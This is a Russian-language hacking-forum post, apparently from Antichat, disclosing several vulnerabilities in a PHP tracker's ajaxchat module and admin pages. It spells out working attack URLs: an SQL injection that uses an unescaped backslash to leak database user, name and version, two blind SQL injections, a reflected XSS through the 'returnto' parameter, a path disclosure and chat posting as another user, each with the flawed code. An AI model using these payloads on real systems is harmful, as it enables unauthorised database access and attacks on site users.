Показать сообщение отдельно

  #9  
Старый 16.08.2009, 20:00
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Расскрытие путей: /ajaxchat/sendChatData.php

Уязвимый кусок кода:
PHP код:
if (!ini_get('register_globals')) {
        
extract($_POSTEXTR_SKIP);
}
$name $n# name from the form
$text $c# comment from the form
$uid $u;  # userid from the form 
Если не найден $_GET $_POST $_COOKIE n или c или u, выскакивает Notice, мол, переменная не найдена.
Код:
Notice: Undefined variable: X in [PATH]
SQL-инъекция, причем очень хитромудрая После выполнения запроса смотрим в чат и видим юзера, бд, версию.
Код:
/ajaxchat/sendChatData.php?n=123\&c=,concat_ws(0x3a,user(),database(),version()),7)/*&u=2
Если не работает GET'ом, попробуйте POST'ом. Почему? Смотрите ниже, там где постинг от другого юзера.

Уязвимый кусок кода:
PHP код:
//смотрим предыдущий код, откуда берутся переменные
//бажный мегафильтр
$name str_replace("\'","'",$name);
$name str_replace("'","\'",$name);
$text str_replace("\'","'",$text);
$text str_replace("'","\'",$text);
$text str_replace("---"," - - ",$text);

$name str_replace("---"," - - ",$name);

//сама ф-ция записи в БД
function addData($name,$text,$uid) {
  include(
"../include/settings.php");   # getting table prefix
  
$now time();
    
$sql "INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')";
    
$conn getDBConnection();
    
$results mysql_query($sql$conn);
    if (!
$results || empty($results)) {
        
# echo 'There was an error creating the entry';
        
end;
    }

Т.е. получается, что бажный фильтр экранирует кавычки в переменных $name, $text. Но это не проблема, т.к. слеш не экранируется. При запросе на сайт

Код:
/ajaxchat/sendChatData.php?n=NAME\&c=,concat_ws(0x3a,user(),database(),version()),2)/*&u=2
запрос в базу выглядит таким образом:
Код:
INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES 

('1234567890','NAME\',',concat_ws(0x3a,user(),database(),version()),2)/*','2')
Вроде, разукрасил, как мог... Но если еще непонятно, объясню - фильтр НЕ фильтрует бекслеш, т.е. \. Если в конец поля NAME, т.е. в GET/POST - "n"" вставить бекслеш, получится, что он экранирует кавычку и текст mysql-поля NAME будет считаться до тех пор, пока не будет найдена кавычка. Она найдена - открывающая кавычка поля TEXT. Другое поле должно быть отделено запятой от предыдущего, поэтому и запятая в GET/POST поле "c". После запятой идет содержимое поля text, мы подставляем то, что нам нужно, в конкретном случае concat_ws(0x3a,user(),database(),version()). Отделяем запятой следующее поле - uid - пишем любое число, в моем случае - 2. Ну и "/*", чтобы отсечь все лишнее. PS: Поле uid не фильруется, но т.к. оно типа mediumint(9), ничего полезного из него мы не достанем.

Blind SQL-инъекция. Необходимы права админа.
Код:
/index.php?page=admin&user=2&code=134469&do=category&action=edit&id=5 and substring(version(),1)=5
Уязвимый код:
PHP код:
    case 'edit':
        if (isset(
$_GET["id"]))
          {
            
// we should get only 1 style, selected with radio ...
            
$id=max(0,$_GET["id"]);
... 
Blind SQL-инъекция. Необходимы права админа.
Код:
/index.php?page=admin&user=2&code=134469&do=style&action=edit&id=1+and+substring(version(),1)=5
Уязвимый код:
PHP код:
    case 'edit':
      if (isset(
$_GET["id"]))
        {
          
// we should get only 1 style, selected with radio ...
          
$id=max(0,$_GET["id"]);
          
$sres=get_result("SELECT style,style_url FROM {$TABLE_PREFIX}style WHERE id=$id",true);
... 
Пассивная XSS:
Код:
/index.php?page=edit&info_hash=HASHID&returnto=index.php";alert(/hello+world/);<!--
Уязвимый код:
Код:
/include/functions.php
PHP код:
function redirect($redirecturl) {
// using javascript for redirecting
// some hosting has warning enabled and this is causing
// problem withs header() redirecting...

        
print("If your browser doesn't have javascript enabled, click <a href=\"$redirecturl\"> here </a>");
        print(
"<script LANGUAGE=\"javascript\">window.location.href=\"$redirecturl\"</script>");


Код:
/edit.php
PHP код:
$link urldecode($_GET["returnto"]);
...
redirect($link); 
Постинг в чат от другого юзера:
Код:
http://127.0.0.1/dev/ajaxchat/sendChatData.php?n=NAME&c=TEXT&u=UID
Уязвимый код:
PHP код:
function addData($name,$text,$uid) {
  include(
"../include/settings.php");   # getting table prefix
  
$now time();
    
$sql "INSERT INTO {$TABLE_PREFIX}chat (time,name,text,uid) VALUES ('".$now."','".$name."','".$text."','".$uid."')";
    
$conn getDBConnection();
    
$results mysql_query($sql$conn);
    if (!
$results || empty($results)) {
        
# echo 'There was an error creating the entry';
        
end;
    } 
Если register_globals = On - GET'ом открывать, в противном случае - POST'ом.

ЗЫ: Сам не ожидал, что столько найду, напишу, о_О.

Последний раз редактировалось mailbrush; 16.08.2009 в 20:16..
 
Ответить с цитированием